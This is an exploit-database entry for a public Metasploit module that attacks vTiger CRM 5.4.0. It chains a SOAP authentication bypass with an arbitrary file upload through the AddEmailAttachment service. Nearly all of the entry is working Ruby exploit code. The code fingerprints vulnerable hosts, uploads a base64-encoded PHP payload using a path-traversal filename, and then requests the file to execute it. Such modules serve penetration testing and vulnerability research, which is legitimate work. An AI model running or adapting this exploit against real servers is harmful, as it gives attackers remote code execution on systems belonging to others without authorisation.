ID

VAR-E-201308-0073

CVE

EDB ID

30787

TITLE

vTiger CRM 5.4.0 SOAP - AddEmailAttachment Arbitrary File Upload (Metasploit) - PHP remote Exploit

DESCRIPTION

vTiger CRM 5.4.0 SOAP - AddEmailAttachment Arbitrary File Upload (Metasploit). CVE-2013-3214CVE-95902 . remote exploit for PHP platform

AFFECTED PRODUCTS

EXPLOIT

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rexml/document'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include REXML
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'vTiger CRM SOAP AddEmailAttachment Arbitrary File Upload',
'Description' => %q{
vTiger CRM allows an user to bypass authentication when requesting SOAP services.
In addition, arbitrary file upload is possible through the AddEmailAttachment SOAP
service. By combining both vulnerabilities an attacker can upload and execute PHP
code. This module has been tested successfully on vTiger CRM v5.4.0 over Ubuntu
10.04 and Windows 2003 SP2.
},
'Author' =>
[
'Egidio Romano', # Vulnerability discovery
'juan vazquez' # msf module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-3214' ],
[ 'CVE', '2013-3215' ],
[ 'OSVDB', '95902' ],
[ 'OSVDB', '95903' ],
[ 'BID', '61558' ],
[ 'BID', '61559' ],
[ 'EDB', '27279' ],
[ 'URL', 'http://karmainsecurity.com/KIS-2013-07' ],
[ 'URL', 'http://karmainsecurity.com/KIS-2013-08' ]
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' =>
{
# Arbitrary big number. The payload is sent base64 encoded
# into a POST SOAP request
'Space' => 262144, # 256k
'DisableNops' => true
},
'Targets' =>
[
[ 'vTigerCRM v5.4.0', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 26 2013'))

register_options(
[
OptString.new('TARGETURI', [ true, "Base vTiger CRM directory path", '/vtigercrm/'])
], self.class)
end

def check
test_one = check_email_soap("admin", rand_text_alpha(4 + rand(4)))
res = send_soap_request(test_one)

unless res and res.code == 200 and res.body.to_s =~ /<return xsi:nil="true" xsi:type="xsd:string"\/>/
return Exploit::CheckCode::Unknown
end

test_two = check_email_soap("admin")
res = send_soap_request(test_two)

if res and res.code == 200 and (res.body.blank? or res.body.to_s =~ /<return xsi:type="xsd:string">.*<\/return>/)
return Exploit::CheckCode::Vulnerable
end

return Exploit::CheckCode::Safe
end

def exploit
file_name = rand_text_alpha(rand(10)+6) + '.php'
php = %Q|<?php #{payload.encoded} ?>|

soap = add_attachment_soap(file_name, php)
res = send_soap_request(soap)

print_status("#{peer} - Uploading payload...")
if res and res.code == 200 and res.body.to_s =~ /<return xsi:type="xsd:string">.*<\/return>/
print_good("#{peer} - Upload successfully uploaded")
register_files_for_cleanup(file_name)
else
fail_with(Failure::Unknown, "#{peer} - Upload failed")
end

print_status("#{peer} - Executing payload...")
send_request_cgi({'uri' => normalize_uri(target_uri.path, 'soap', file_name)}, 0)
end

def add_attachment_soap(file_name, file_data)
xml = Document.new
xml.add_element(
"soapenv:Envelope",
{
'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance",
'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema",
'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/",
'xmlns:crm' => "http://www.vtiger.com/products/crm"
})
xml.root.add_element("soapenv:Header")
xml.root.add_element("soapenv:Body")
body = xml.root.elements[2]
body.add_element(
"crm:AddEmailAttachment",
{
'soapenv:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/"
})
crm = body.elements[1]
crm.add_element("emailid", {'xsi:type' => 'xsd:string'})
crm.add_element("filedata", {'xsi:type' => 'xsd:string'})
crm.add_element("filename", {'xsi:type' => 'xsd:string'})
crm.add_element("filesize", {'xsi:type' => 'xsd:string'})
crm.add_element("filetype", {'xsi:type' => 'xsd:string'})
crm.add_element("username", {'xsi:type' => 'xsd:string'})
crm.add_element("session", {'xsi:type' => 'xsd:string'})
crm.elements['emailid'].text = rand_text_alpha(4+rand(4))
crm.elements['filedata'].text = "MSF_PAYLOAD"
crm.elements['filename'].text = "MSF_FILENAME"
crm.elements['filesize'].text = file_data.length.to_s
crm.elements['filetype'].text = "php"
crm.elements['username'].text = rand_text_alpha(4+rand(4))

xml_string = xml.to_s
xml_string.gsub!(/MSF_PAYLOAD/, Rex::Text.encode_base64(file_data))
xml_string.gsub!(/MSF_FILENAME/, "../../../../../../#{file_name}")

return xml_string
end

def check_email_soap(user_name = "", session = "")
xml = Document.new
xml.add_element(
"soapenv:Envelope",
{
'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance",
'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema",
'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/",
'xmlns:crm' => "http://www.vtiger.com/products/crm"
})
xml.root.add_element("soapenv:Header")
xml.root.add_element("soapenv:Body")
body = xml.root.elements[2]
body.add_element(
"crm:CheckEmailPermission",
{
'soapenv:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/"
})
crm = body.elements[1]
crm.add_element("username", {'xsi:type' => 'xsd:string'})
crm.add_element("session", {'xsi:type' => 'xsd:string'})
crm.elements['username'].text = user_name
crm.elements['session'].text = session

xml.to_s
end

def send_soap_request(soap_data)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'soap', 'vtigerolservice.php'),
'method' => 'POST',
'ctype' => 'text/xml; charset=UTF-8',
'data' => soap_data
})

return res
end

end

EXPLOIT LANGUAGE

rb

PRICE

free

TYPE

AddEmailAttachment Arbitrary File Upload (Metasploit)

TAGS

CREDITS

Metasploit

EXTERNAL IDS

REFERENCES

SOURCES

LAST UPDATE DATE

2022-07-27T09:35:30.573000+00:00

SOURCES UPDATE DATE

SOURCES RELEASE DATE